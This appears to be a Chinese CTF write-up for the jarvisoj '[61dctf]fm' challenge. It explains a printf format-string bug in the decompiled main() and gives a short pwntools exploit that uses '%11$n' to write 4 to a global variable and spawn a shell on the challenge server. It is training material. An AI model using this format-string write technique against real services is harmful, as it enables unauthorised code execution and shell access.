当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895

checksec Canary found栈溢出行不通

main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11


通过动态调试,把x的值设置为0x4,运行后确实得到shell


exp

from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- ES6 drill down - Async functions and symbol types
- The difference between searching forward index and inverted index
- The memory of a Zhang
- 如何将mysql卸载干净
- 树莓派4b安装Pytorch1.11
- Facing new challenges and becoming a better self -- attacking technology er
- ES6 deep - ES6 class class
- [deep learning] [original] let yolov6-0.1.0 support the txt reading dataset mode of yolov5
- 10 minutes to help you get ZABBIX monitoring platform alarm pushed to nail group
- EDI许可证和ICP经营性证有什么区别
猜你喜欢

數據訪問 - EntityFramework集成

【 brosser le titre 】 chemise culturelle de l'usine d'oies

解决CMakeList find_package找不到Qt5,找不到ECM

The difference between abstract classes and interfaces

Detailed explanation of use scenarios and functions of polar coordinate sector diagram

效果编辑器新版上线!3D渲染、加标注、设置动画,这次一个编辑器就够了

Starkware: to build ZK "universe"
![[deep learning] how does deep learning affect operations research?](/img/d8/a367c26b51d9dbaf53bf4fe2a13917.png)
[deep learning] how does deep learning affect operations research?

Binary tree related OJ problems

Basic introduction to the control of the row component displaying its children in the horizontal array (tutorial includes source code)
随机推荐
《21天精通TypeScript-3》-安装搭建TypeScript开发环境.md
[echart] resize lodash to realize chart adaptation when window is zoomed
Single merchant v4.4 has the same original intention and strength!
英特尔第13代Raptor Lake处理器信息曝光:更多核心 更大缓存
【学术相关】多位博士毕业去了三四流高校,目前惨不忍睹……
2020-2022 two-year anniversary of creation
移动办公时如何使用frp内网穿透+teamviewer方式快速连入家中内网主机
tf.sequence_mask函数讲解案例
详解SQL中Groupings Sets 语句的功能和底层实现逻辑
不敢买的思考
【刷題篇】鹅廠文化衫問題
PSPNet | 语义分割及场景分析
File operation --i/o
Enter a command with the keyboard
【刷题篇】鹅厂文化衫问题
【漏洞预警】CVE-2022-26134 Confluence 远程代码执行漏洞POC验证与修复过程
详解SQL中Groupings Sets 语句的功能和底层实现逻辑
HiEngine:可媲美本地的云原生内存数据库引擎
漫画:什么是分布式事务?
Win11如何给应用换图标?Win11给应用换图标的方法